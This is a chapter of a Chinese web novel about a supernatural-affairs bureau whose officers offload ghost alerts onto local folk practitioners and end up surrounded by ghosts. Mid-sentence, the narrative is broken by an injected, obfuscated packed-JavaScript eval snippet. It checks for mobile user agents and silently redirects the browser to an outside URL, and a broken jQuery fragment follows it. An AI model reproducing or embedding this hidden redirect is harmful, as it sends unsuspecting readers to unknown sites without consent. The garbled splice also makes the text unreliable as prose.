“愉快个屁!”乔霖骂骂咧咧把茶具收起来,瞪着空无一人的店门,转头向来接班的陈叔开口,“叔,明天你帮我看会店,我去竹园路那边看看。”
正要拿扫帚的陈叔愣了一下,“什么生意需要你出门?让别人过去不行吗?”
乔霖把茶盘塞回柜台底下,忿忿道:“付大局长觉得工作太清闲,说要出去旅游,今晚的飞机,还说看在有合作的份上,让我去异管局那边认认人,到时候局里人有事也知道该找谁。”
陈叔立刻笑了:“我还当什么事呢,是该过去一趟。”
“他们解决事情虽然没有额外收入,但有绩效,新成立的单位,到年底上报成绩的时候也能得个脸。既然人家手宽漏了出来,我们这些拿了好处的,总该帮忙看顾一眼。”
“我看这位付局长不是个追名逐利的,来到南安市这么久也没有什么大动作,反而能维持住大家原本的生活,挺好的。”
乔霖知道这个理,就是心里不得劲。
这段时间接触下来,他知道付行清是被按头当的局长,也知道对方不想让这边分局被人插手,只要在他容忍度之内,他们这些野路子想干什么就干什么。
但同时,他也从对方口中听到了很多地方的风景民俗,与网上看到的没有实感的照片或文字不一样,对方曾经真切地用双脚丈量过那些城市。
这是一个很自由的人,过着乔霖无法想象的生活。
想到这里,他看向神龛,幽幽叹了口气:“叔,你说我供奉它那么多年了,什么时候才能往外走啊?”
“总不能为了这尊木塑,一辈子都待在南安市吧?”
正在扫地的老人没有回答,就在乔霖以为这个问题依旧无解的时候,店里才响起另一道声音:“要不等中元节的时候,让古家大姑娘去城隍庙问问?正好她也要去上香。”
乔霖眼睛一亮,又颇为迟疑:“这……会不会麻烦古婆婆?”
“古家大姑娘生前与张老关系最亲近不过,你又是她看着长大的,说不上麻烦不麻烦的话。”陈叔把灰尘扫出门外,回身走到柜台前。
他看着隐隐兴奋的青年,有些说不出的心疼:“你才二十岁,是该往外走走,多发展一些外地生意,被困在这里确实为难你了。”
这话乔霖不乐意听:“什么叫困在这里?你们也是为了我好,我不是好赖不分的人。”
“不过我确实想往外走走,我记得小时候,家里人也带过我出门玩。”
只可惜当时年龄太小,那些记忆对如今的他来说,已经十分模糊了。
“别想家人了。”陈叔打断他的回忆,“你多惦记我们几个老家伙就行了。”
坐在柜台后的青年乖巧应下,眼中的兴奋却怎么也压不下去。
另一头,被压在单位加班的付文杰看着自家亲哥发来的登机牌,再看向不停震动的手机,辞职的想法十分强烈。
同样被调过来的南青站在付文杰身后,目瞪口呆地看着一长串警报,“南安市的人到底是怎么活到现在的?”
她收到调令的时候,手上的任务还没做完,直到今天下午才在南安市落地,结果刚在宿舍安顿好,出门吃了个晚餐,就被付文杰打电话催来加班了。
刚对接分局警报系统的手机上,二十四小时内新增近六十条异常警报的提示如此刺眼,不仅让南青怨气全消,甚至隐隐同情在这座城市生活的居民。
真不知道他们以前过着怎样水深火热的生活。
“他们怎么活到现在的我不知道。”付文杰已经想摆烂了,“但是这些异常警报如果没人捅出去,我们就得考虑自己怎么活过今晚了。”
“捅出去?捅到总局那边?”南青觉得他疯了,“这么多警报积压着无法解决,比总局支援先来的是巨额罚金!”
以前这边没有异管局,只能等到其他省分局的事情处理完了,看到这些警报后再过来处理。
现在有了异管局,这些异常警报一旦积压到一定时间,就直接反馈到总局系统里——反馈的不是警报严重程度的消息,是这边分局的人消极怠工,有可能因私废公的消息。
“不是。”付文杰叹了口气,拿起手机点开一个群,一边发消息一边道,“这些异常警报如果惊扰本地居民,本地居民会寻求民间玄学人士的帮助,那我们的工作量能少很多很多。”
南青:“?”
“你的意思是,如果那些人着手处理,咱们就可以不管?”
付文杰大方承认:“对啊,你刚来,不太了解这边的情况,但我得告诉你,咱们分局跟这边的民间机构关系很好,双方合作十分良好。”
他低头在群里问了一句今天有谁接了单,等有人回复后,又一一私聊具体地址,不过十分钟,就把异常警报标记了二十多起。
等标记完,他指着小程序的地图界面解释道:“这些人处理完会发消息给我,到时候就可以把处理中的标记改成结束了,不过这不是我们自己处理的,一定要选自然消失,否则总局要求拿出处理记录的时候,我编不出来。”
“等下我拉你进群,以后我休假时再有警报,你先群里问一声,看他们有没有接这个地方的单,如果跟警报地址对得上就能排除,对不上我们就得亲自去一趟。”
南青听得一愣一愣的,甚至生出一股前所未有的轻松感。
“如果他们没有接到单子,我们去了也处理不了呢?”她问道,“我听说咱们局长是被强行派过来的,应该不爱管事吧?”
“啊,对。”经过这段时间被亲哥的摧残,付文杰现在甚至敢上手处理局长的事,“事情不严重的话,你见不到咱们局长。”
“不过别担心,咱们解决不了可以群里问一句,这边民间机构有人能解决的话,咱们就出钱请他们解决,然后跟过去拍个处理记录,混个绩效。”
南青懂了,如果没有市民自己向那些人求助,她们自己就当这个出钱解决的人。
市民是为了自己的生活平静花钱,她们是为了自己的责任和绩效花钱。
逐一排除掉有人解决的异常警报后,付文杰先在分局系统上写了一份申请,又切换到局长权限审批通过。
随后他跑去库房拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265423|198097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了两把枪和几盒刻着繁复花纹的子弹,兜里还揣了一把黄符,他把这些东西分一半给南青,率先朝办公室外走去。
“咱们去看看剩下的那些警报是怎么回事,对了你是哪一派的道士?回头咱们这边符箓不够,还得麻烦你先补一补了。”
南青跟在付文杰后面,听到这句话莫名局促,几秒后才低声道:“我师父是湘西那边的。”
“哦,湘西啊……湘西?!”付文杰猛然回头,“你是赶尸人?”
“啊,对啊。”南青颇为心虚,“上一个任务拖这么久,就是把一具身死异地心有怨气的僵尸带回故土。”
她还特意强调:“我平时只能带普通尸体,那张震慑僵尸的符箓是从局里拿过去的,我不会画。”
这还是因为局里人手不够才派她去的,否则换个正经道士出身的同事过去,几道五雷符扔下去,原地就把那具僵尸超度了。
“你后面还有其他同事过来吗?”付文杰期盼地看着她,“就是那种会画符,会抓妖降鬼的同事。”
他语气里的期盼让南青隐隐发慌,“没,没了吧,我结束任务回局里时,调遣处的人说这边就差我没报道了。”
“没事。”付文杰抹了一把脸,扭头走向停在路边的汽车,“咱们不是孤军奋战。”
“好歹也能彼此作伴。”
“希望这些异常警报,只是这座城市的居民生活压力大导致怨气冲天,而不是什么鬼怪作祟吧。”
南青:“???”
等等,这下她真的要慌了!
半个小时后,第二个异常警报点,付文杰和南青背靠着背,手中仅剩几张泛着微光的符箓,子弹早已用光的情况下,那两把特制的枪也成了摆设,最多砸鬼的时候能让它们疼一下。
而此刻,二人面对的是十几只面色不善的鬼。
在如狂风般的鬼啸声中,南青率先撑不住,“付哥,你能听懂它们在说什么吗?有没有和谈的可能?”
“你还会赶尸,我纯粹是个对阴气敏感点的半吊子。”付文杰已经麻了,“早知道就不急着把桃木剑还回去了。”
来南安市接私活是因为副局长给他设套,但是好歹对方批了他的物资申请,给了几张符箓和一把桃木剑防身。
结果大洋商场一事结束后,他就把桃木剑寄回总局了。
如今群鬼环伺之下,他忽然明白那天晚上在病房,他哥为什么骂他蠢货了。
周围的阴气越来越重,迷蒙的鬼影逐渐逼近,看着符箓的光芒逐渐暗淡,南青甚至能听到自己牙齿打冷颤的声音。
“付哥,我才二十四岁,我不想……”
“怕什么!”付文杰大喝一声,单手掏出手机点开一个号码,“你等我摇人!”
这是他哥一周前叮嘱他存下的号码,当时付行清的神色语气他至今记得。
「如果遇到危及性命的情况,直接打这个电话,只要你人在南安市,就能保你一命。」
这是连那位云家风水师都不敢做出的承诺,电话拨通后,付文杰只能祈祷他跟他哥的兄弟情足够可靠了。